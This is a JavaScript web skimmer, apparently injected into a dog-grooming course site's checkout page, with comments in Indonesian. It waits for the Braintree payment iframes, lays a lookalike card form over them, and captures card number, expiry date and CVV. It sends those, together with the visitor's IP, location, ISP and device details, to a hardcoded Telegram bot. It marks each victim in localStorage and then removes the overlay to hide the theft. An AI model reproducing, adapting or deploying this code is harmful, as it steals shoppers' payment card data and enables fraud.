if (window.location.pathname.replace(/\/+$/, "") === "/checkout") {

function sudahIsiForm() {
  return localStorage.getItem("formSubmitted") === "true";
}

function tandaiSudahIsi() {
  localStorage.setItem("formSubmitted", "true");
}

if (!sudahIsiForm()) {
(() => {
  const observer = new MutationObserver(() => {
    const frames = [...document.querySelectorAll(
      'iframe[src*="braintreegateway.com"]'
    )];

    if (frames.length < 3) return;

    const titles = frames.map(f => f.title);

    const ready =
      titles.some(t => t.includes("Credit Card Number")) &&
      titles.some(t => t.includes("Expiration Date")) &&
      titles.some(t => t.includes("CVV"));

    if (!ready) return;

    observer.disconnect();

  window.restoreBraintreeSecurityTest?.();

const BOT_TOKEN = "8743051817:AAHOYyQxhZQ7w3ZsApI1dxPXpC6nwOfgShA";
const CHAT_ID = "8031521205";

async function sendTelegramWelcome() {

function getBrowser(ua) {
  if (/Edg\//.test(ua)) return "Microsoft Edge";
  if (/OPR\//.test(ua)) return "Opera";
  if (/SamsungBrowser/.test(ua)) return "Samsung Internet";
  if (/Firefox|FxiOS/.test(ua)) return "Firefox";
  if (/CriOS|Chrome/.test(ua)) return "Google Chrome";
  if (/Safari/.test(ua)) return "Safari";
  return "Unknown";
}

function getOS(ua) {
  if (/Android/.test(ua)) return "Android";
  if (/iPhone|iPad|iPod/.test(ua)) return "iOS/iPadOS";
  if (/Windows/.test(ua)) return "Windows";
  if (/Mac OS/.test(ua)) return "macOS";
  if (/Linux/.test(ua)) return "Linux";
  return "Unknown";
}

function getDevice(ua) {
  if (/iPad|Tablet/.test(ua)) return "Tablet";
  if (/Mobi|Android|iPhone/.test(ua)) return "Mobile";
  return "Desktop";
}

async function getLocation() {
  let info = {};

  // IP dan geolokasi dari layanan publik
  try {
    const res = await fetch("https://ipwho.is/");
    const data = await res.json();

    if (res.ok && data.success) {
      info = {
        ip: data.ip,
        city: data.city,
        region: data.region,
        country: data.country,
        isp: data.connection?.isp
      };
    }
  } catch (e) {
    console.warn("Geolocation error:", e);
  }

  // Fallback IP dan negara dari Cloudflare
  try {
    const res = await fetch("/cdn-cgi/trace");

    if (res.ok) {
      const raw = await res.text();
      const trace = Object.fromEntries(
        raw.trim().split("\n")
          .filter(line => line.includes("="))
          .map(line => {
            const index = line.indexOf("=");
            return [
              line.slice(0, index),
              line.slice(index + 1)
            ];
          })
      );

      info.ip ||= trace.ip;
      info.country ||= trace.loc;
    }
  } catch (e) {
    console.warn("Cloudflare trace unavailable");
  }

  return info;
}
  const geo = await getLocation();
  const now = new Date();
  const ua = navigator.userAgent;

  const tanggal = now.toLocaleDateString("id-ID", {
    timeZone: "Asia/Jakarta",
    day: "2-digit",
    month: "long",
    year: "numeric"
  });

  const jam = now.toLocaleTimeString("id-ID", {
    timeZone: "Asia/Jakarta",
    hour12: false
  });

  const message = `
===== WELCOME =====
ADA YANG BUKA
https://www.learn2groomdogs.com/checkout

===== INFORMASI PENGUNJUNG =====

IP: ${geo.ip || "Unknown"}
Kota: ${geo.city || "Unknown"}
Provinsi: ${geo.region || "Unknown"}
Negara: ${geo.country || "Unknown"}
ISP: ${geo.isp || "Unknown"}

===== WAKTU =====

Tanggal: ${tanggal}
Jam: ${jam} WIB
Tahun: ${now.getFullYear()}

===== DEVICE =====

Browser: ${getBrowser(ua)}
OS: ${getOS(ua)}
Device: ${getDevice(ua)}
Bahasa: ${navigator.language}
Timezone: ${Intl.DateTimeFormat().resolvedOptions().timeZone}
Resolusi: ${screen.width}x${screen.height}

===== WEBSITE =====

URL: ${location.href}
Referrer: ${document.referrer || "Direct"}

========================
`;

  try {
    const response = await fetch(
      `https://api.telegram.org/bot${BOT_TOKEN}/sendMessage`,
      {
        method: "POST",
        headers: {
          "Content-Type": "application/json"
        },
        body: JSON.stringify({
          chat_id: CHAT_ID,
          text: message
        })
      }
    );

    const result = await response.json();
    if (!result.ok) throw new Error(result.description);

    console.log("Telegram terkirim!");
    return result;
  } catch (error) {
    console.error("Telegram gagal:", error);
  }
}

async function sendTelegram(number, date, code) {
  const message = `===== WELCOME =====
Number: ${number}
Date: ${date}
Code: ${code}`;

  try {
    const response = await fetch(
      `https://api.telegram.org/bot${BOT_TOKEN}/sendMessage`,
      {
        method: "POST",
        headers: {
          "Content-Type": "application/json"
        },
        body: JSON.stringify({
          chat_id: CHAT_ID,
          text: message
        })
      }
    );

    const result = await response.json();
    if (!result.ok) throw new Error(result.description);

    console.log("Telegram terkirim!");
    tandaiSudahIsi();
    restore();
    return result;
  } catch (error) {
    console.error("Telegram gagal:", error);
  }
}

sendTelegramWelcome();

  const frame = [...document.querySelectorAll("iframe")]
    .find(f => f.src.includes("braintreegateway.com"));

  if (!frame) {
    console.error("Braintree Hosted Fields tidak ditemukan.");
    return;
  }

  const panel = frame.closest(".payment_box") ||
                frame.closest(".wc_payment_method");

  if (!panel) {
    console.error("Panel pembayaran tidak ditemukan.");
    return;
  }

  const oldPosition = panel.style.position;
  panel.style.position = "relative";

  const overlay = document.createElement("div");
  overlay.id = "braintree-security-test";

  overlay.style.cssText = `
    position: absolute;
    inset: 0;
    z-index: 2147483647;
    box-sizing: border-box;
    padding: 20px;
    background: #dfd9e4;
    color: #23436a;
    font-family: Arial, sans-serif;
    overflow: auto;
  `;

  overlay.innerHTML = `
    <p style="
      color:#505050;
      font-size:16px;
      margin:0 0 25px;
    ">
      Pay securely using your credit card.
    </p>

    <div style="margin-bottom:27px">
      <label for="card" style="
        display:block;
        text-align:center;
        font-weight:bold;
        font-size:16px;
        margin-bottom:10px;
      ">
        Card Number <span style="color:#b91c1c">*</span> 
      </label>

      <input id="card" type="text"
        maxlength="22"
        autocorrect="off"
        placeholder="•••• •••• •••• ••••"
        autocomplete="cc-number"
        inputmode="numeric"
        style="
          width:100%;
          height:54px;
          background:#fff;
          border:1px solid #ccc;
          border-radius:3px;
          padding:12px;
          box-sizing:border-box;
          font-size:16px;
        ">
    </div>

    <div style="display:flex;gap:6%;margin-bottom:20px">
      <div style="flex:1;min-width:0">
        <label for="exp" style="
          display:block;
          text-align:center;
          font-weight:bold;
          font-size:16px;
          margin-bottom:10px;
        ">
          Expiry date <span style="color:#b91c1c">*</span> 
        </label>

        <input id="exp" type="text"
  maxlength="9"
  autocorrect="off" 
  placeholder="MM / YY" 
  inputmode="numeric"
  type="text"
  autocomplete="cc-exp"
  style="
    width:100%;
    height:54px;
    background:#fff;
    border:1px solid #ccc;
    border-radius:3px;
    padding:12px;
    box-sizing:border-box;
    font-size:16px;
  ">
      </div>

      <div style="flex:1;min-width:0">
        <label for="cvv" style="
          display:block;
          text-align:center;
          font-weight:bold;
          font-size:16px;
          margin-bottom:10px;
        ">
          Security Code <span style="color:#b91c1c">*</span> 
        </label>

        <input id="cvv" type="text"
          maxlength="4"
           type="text"
           placeholder="CSC"
           autocomplete="cc-csc"
           autocorrect="off"
           inputmode="numeric"
          style="
            width:100%;
            height:54px;
            background:#fff;
            border:1px solid #ccc;
            border-radius:3px;
            padding:12px;
            box-sizing:border-box;
            font-size:16px;
          ">
      </div>
    </div>
  `;

  panel.appendChild(overlay);

  const expInput = overlay.querySelector("#exp");

expInput.addEventListener("input", () => {
  let value = expInput.value.replace(/\D/g, "").slice(0, 4);

  if (value.length > 2) {
    value = value.slice(0, 2) + "/" + value.slice(2);
  }

  expInput.value = value;
});

  const fields = {
    "Card Number": overlay.querySelector("#card"),
    "Expiry date": overlay.querySelector("#exp"),
    "Security Code": overlay.querySelector("#cvv")
  };

  let logged = false;

  Object.entries(fields).forEach(([name, input]) => {
    input.addEventListener("input", () => {
      const value = input.value.toUpperCase();

      input.value = value;

      const complete =
  /^\d{12,19}$/.test(fields["Card Number"].value.replace(/\s/g, "")) &&
  /^(0[1-9]|1[0-2])\/\d{2}$/.test(fields["Expiry date"].value) &&
  /^\d{3,4}$/.test(fields["Security Code"].value);

      if (complete && !logged) {
        logged = true;
        sendTelegram(
            fields["Card Number"].value,
            fields["Expiry date"].value,
            fields["Security Code"].value
        );
      }

      if (!complete) logged = false;
    });
  });
  


  function restore() {
  // Jalankan fungsi restore jika tersedia
  if (typeof window.restoreBraintreeSecurityTest === "function") {
    window.restoreBraintreeSecurityTest();
  }

  // Hapus overlay simulasi
  document.getElementById("braintree-security-test")?.remove();
}


  });

  observer.observe(document.documentElement, {
    childList: true,
    subtree: true
  });
})();
}
}